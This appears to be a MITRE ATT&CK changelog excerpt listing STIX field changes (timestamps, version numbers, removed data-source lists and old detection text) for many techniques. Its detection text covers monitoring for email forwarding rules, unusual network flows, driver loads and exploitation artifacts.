| x_mitre_data_sources | ['Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:19.503000+00:00 | 2025-10-24 17:49:16.860000+00:00 |
| x_mitre_detection | Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:25:10.775000+00:00 | 2025-10-24 17:48:44.685000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:25:33.493000+00:00 | 2025-10-24 17:48:52.378000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:26:01.830000+00:00 | 2025-10-24 17:48:41.309000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 2.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Connection Creation', 'File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:26:37.477000+00:00 | 2025-10-24 17:48:26.463000+00:00 |
| x_mitre_detection | There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.
+
+File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.
+
+Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+
+Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.
+
+Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:26:55.201000+00:00 | 2025-10-24 17:49:00.920000+00:00 |
| x_mitre_detection | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) + +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Application Log: Application Log Content', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:27:09.849000+00:00 | 2025-10-24 17:48:23.364000+00:00 |
| x_mitre_detection | Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.
+
+On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:18.374000+00:00 | 2025-10-24 17:49:08.766000+00:00 |
| x_mitre_detection | Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:27:33.795000+00:00 | 2025-10-24 17:48:57.975000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:01.172000+00:00 | 2025-10-24 17:49:17.042000+00:00 |
| x_mitre_detection | SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) + +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:28:03.155000+00:00 | 2025-10-24 17:49:22.088000+00:00 |
| x_mitre_detection | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. + +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. + +Externally monitor the availability of services that may be targeted by an Endpoint DoS. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:20.646000+00:00 | 2025-10-24 17:49:35.768000+00:00 |
| x_mitre_detection | Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Kernel: Kernel Module Load', 'Container: Container Creation', 'Volume: Volume Modification', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:28.417000+00:00 | 2025-10-24 17:48:44.317000+00:00 |
| x_mitre_detection | Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Persona: Social Media'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:28:26.144000+00:00 | 2025-10-24 17:49:24.456000+00:00 |
| x_mitre_detection | Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'WMI: WMI Creation', 'File: File Metadata', 'File: File Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Cloud Service: Cloud Service Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:28:46.740000+00:00 | 2025-10-24 17:49:15.866000+00:00 |
| x_mitre_detection | Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. + +These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. + +Monitor for processes, API/System calls, and other common ways of manipulating these event repositories. + +Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. + +Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Service: Service Metadata', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:41.123000+00:00 | 2025-10-24 17:48:56.875000+00:00 |
| x_mitre_detection | Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:48.316000+00:00 | 2025-10-24 17:49:03.764000+00:00 |
| x_mitre_detection | Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Storage: Cloud Storage Access', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'File: File Access', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:54.894000+00:00 | 2025-10-24 17:49:10.460000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:50.294000+00:00 | 2025-10-24 17:49:05.552000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:35.466000+00:00 | 2025-10-24 17:48:51.095000+00:00 |
| x_mitre_detection | Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. + +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces. |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:51.597000+00:00 | 2025-10-24 17:49:06.675000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:29:20.961000+00:00 | 2025-10-24 17:48:47.042000+00:00 |
| x_mitre_detection | Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. + +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Drive: Drive Creation', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:17.041000+00:00 | 2025-10-24 17:49:32.547000+00:00 |
| x_mitre_detection | Monitor file access on removable media. Detect processes that execute when removable media are mounted. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:43.571000+00:00 | 2025-10-24 17:48:59.332000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) + +Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:24.041000+00:00 | 2025-10-24 17:49:39.079000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + +For network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:25.560000+00:00 | 2025-10-24 17:48:42.061000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Drive: Drive Creation', 'File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:55.347000+00:00 | 2025-10-24 17:49:10.994000+00:00 |
| x_mitre_detection | Monitor file access on removable media. Detect processes that execute when removable media are mounted. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:03.751000+00:00 | 2025-10-24 17:49:19.048000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:48.876000+00:00 | 2025-10-24 17:49:04.207000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Modification', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:03.090000+00:00 | 2025-10-24 17:49:18.695000+00:00 |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Process: Process Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:30:06.288000+00:00 | 2025-10-24 17:49:08.674000+00:00 |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:24.778000+00:00 | 2025-10-24 17:49:39.960000+00:00 |
| x_mitre_detection | Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Driver: Driver Load', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:58.811000+00:00 | 2025-10-24 17:49:14.643000+00:00 |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) + +Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:53.590000+00:00 | 2025-10-24 17:49:09.112000+00:00 |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:34:05.500000+00:00 | 2025-10-24 17:49:36.851000+00:00 |
| x_mitre_detection | +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:33:51.026000+00:00 | 2025-10-24 17:49:17.967000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:42.110000+00:00 | 2025-09-17 17:58:26.729000+00:00 |
| external_references[1]['description'] | kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025. | Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'File: File Modification', 'File: File Creation', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:34:21.584000+00:00 | 2025-10-24 17:48:23.460000+00:00 |
| x_mitre_detection | Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:45:37.275000+00:00 | 2025-10-24 17:48:19.059000+00:00 |
